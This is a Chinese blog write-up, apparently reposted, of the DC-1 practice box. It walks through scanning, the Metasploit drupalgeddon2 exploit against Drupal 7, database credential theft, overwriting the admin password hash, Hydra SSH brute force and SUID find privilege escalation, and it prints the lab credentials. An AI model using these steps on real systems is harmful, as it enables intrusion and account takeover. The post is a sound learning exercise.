主頁 >  其他 > DC-1詳解(絕對的詳細!)

DC-1詳解(絕對的詳細!)

2021-10-25 09:57:23 其他

DC-1靶機整個滲透程序(B站可以看小飛俠的視頻真的好!)

將kali和DC-1的網路均設定為NAT模式

獲取kali的IP地址

ifconfig 查看IP命令需要記住

掃描此IP段中存活的靶機IP

arp-scan -l

根據靶機MAC地址來確認其IP地址

用masscan快速掃描DC-1開放的埠

masscan --rate10000 -p 1-65535 192.168.220.131

--rate10000 用來定義掃描速率

-p 1-65535 定義掃描從1-65535埠

192.168.220.131 靶機IP

通過上一步掃描得到靶機開放的埠為22,80,111,55336

80埠一般為http網頁埠

22埠為ssh埠

(個人拙見,請各位看官評論補充)

直接采用nmap仔細掃80埠

(也是在網上看了很多發現都是搞得80埠,對其他埠我也不是很懂,就跟著做,請看官評論區補充為何只搞此埠,其他埠能不能搞?技術尚淺,海涵海涵,)

訪問80埠

http://192.168.220.131

直接火狐訪問就行,我們需要用到一個插件wappalyzer,直接在火狐的擴展和主題搜wappalyzer添加即可,添加完成之后回到靶機網站頁面點擊此插件,即可得到此網站的CMS版本,其實nmap仔細掃描時已經能看到其為Drupal7,對于本人這種菜鳥來說還是看這個插件比較直觀,

發現網站的CMS,開始尋找Drupal7是否存在漏洞可以利用,采用msf進行漏洞利用

在kali終端界面輸入,msfconsole,打開msf

也可以在kali的漏洞利用工具中打開metasploit framework

在msf命令下查找Drupal的相關漏洞

search drupal

利用序列為1的漏洞 exploit/unix/webapp/drupal_drupalgeddon2(對于此我也沒有考慮清楚為何要利用此漏洞,請看官評論區補充,謝謝!)

use 1

或者 use exploit/unix/webapp/drupal_drupalgeddon2

然后show options (此原理我也不懂,請看官補充)

為RHOSTS設定IP

set RHOSTS 192.168.220.131

exploit

shell

python -c 'import pty;pty.spawn("/bin/bash")'

即可看見第一個flag檔案:flag1.txt

查看flag1.txt

cat flag1.txt

Every good CMS needs a config file - and so do you.

提示查找組態檔

在此目錄下輸入ls查看此目錄下存在的檔案有哪些

看到sites(站點)

ls sites 查看站點檔案,發現發現default(默認)檔案

ls sites/default 查看其中的內容 發現setting.php檔案

cd sites/default 進入default檔案

vi setting.php 打開此檔案,發現flag2(也可以cat此檔案,vi退出為輸入:q回車)

flag2提示

Brute force and dictionary attacks aren't the only ways to gain access (and you WILL need access). What can you do with these

暴力 力量 字典 攻擊 獲得 通過

credentials?

證書,憑證

也就是暴力破解不一定是一個好辦法,下面有資料庫相關資訊,我們可以看到資料庫為mysql并且能得到用戶名和密碼

登錄此資料庫

mysql -udbuser -pR0ck3t

查看資料庫內容

show databases; (資料庫結束語帶分號;)

發現drupaldb也就是drupal的資料庫,進入其中

use drupaldb

查看此資料庫中的表

show tables

在此表中我們可以發現一個名為users的表,展現此表中的資料

select * from users;

我們可以看見用戶名為admin的賬戶,并且看到其密碼,但是已經被加密過,

嘗試發現密碼的加密規則,新開一個終端視窗輸入hash-identifier 查詢密碼的加密方式

$S$D7BoMCmj4828RFeq3OSlxq6p1W5ObcqM/PNcLKg4wPqjLhvN1di9

發現查詢不到,當然,這一步并不是無用功,正是因為查詢不到其加密方式,所以暴力破解是無法攻破的,因此我們需要換種方式,經過百度其他人的成果(雖然這樣不好,但是我這菜雞還是沒想到如何才能搞定這個)發現Drupal可以利用password-hash.sh檔案來生成此種加密的結果,

退出資料庫尋找password-hash.sh程式,直接cd / 回傳根目錄,然后find查找

find / -name password-hash* 查詢名字中包含password-hash的所有檔案

發現/var/www/scripts/password-hash.sh 來到scripts檔案進行呼叫,此處呼叫不成功,回到www目錄下,然后運行

scripts/password-hash.sh 123456 得到加密結果

password: 123456 hash: $S$DqmSfBfFUmIoobomWlB45XSI7MG..o9y9zzUQEc2xGzYXgxfnM19

回到資料庫中,將密碼進行替換

update users set pass=’$S$DqmSfBfFUmIoobomWlB45XSI7MG..o9y9zzUQEc2xGzYXgxfnM19‘ where uid = 1;

更新 表名 設定 列名=’更改的值‘ where 列名=1;

更新完成之后,在網頁登錄

登錄之后發現flag3

說實話這一步的提示沒看懂(請看官評論區補充一下這個是啥意思)

獲取第四個flag

這個是百度出來的,回傳到/目錄下,ls發現etc檔案

cd etc 打開etc檔案,發現passwd,此檔案并非密碼檔案,而是賬戶檔案(我也不是很懂,請看官補充)

cat passwd

發現flag4,其為一個賬戶,

cat passwd,發現flag4賬戶,根據百度結果,直接對此賬戶進行暴力破解

暴力破解flag4賬戶

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://192.168.220.131

hydra海德拉破解 -l 指定破解賬戶 -P(大寫) 指定字典檔案 ssh://192.168.220.131 目標靶機

此步要在kaili終端進行

破解完成之后連接到flag4賬戶

ssh flag4@192.168.220.131

輸入破解到的密碼orange

直接find提權(這一步我是最不理解的,請看官給出意見!謝謝!)

find -name flag4.txt -exec /bin/bash -p \;

完成提權

whoami

發現自己是root

然后cd /root

發現最終的flag

終于完成了,雖然中間有很多坎坷,也有很多不懂的地方,但是最起碼做了一遍讓自己有一個初步的印象,相信慢慢的就能理解其中的意思了,也希望各位看官給出寶貴意見!

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/335437.html

標籤:其他

上一篇:web安全:mysql提權總結篇

下一篇:中職網安 第二階段加固靶機 筆記

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more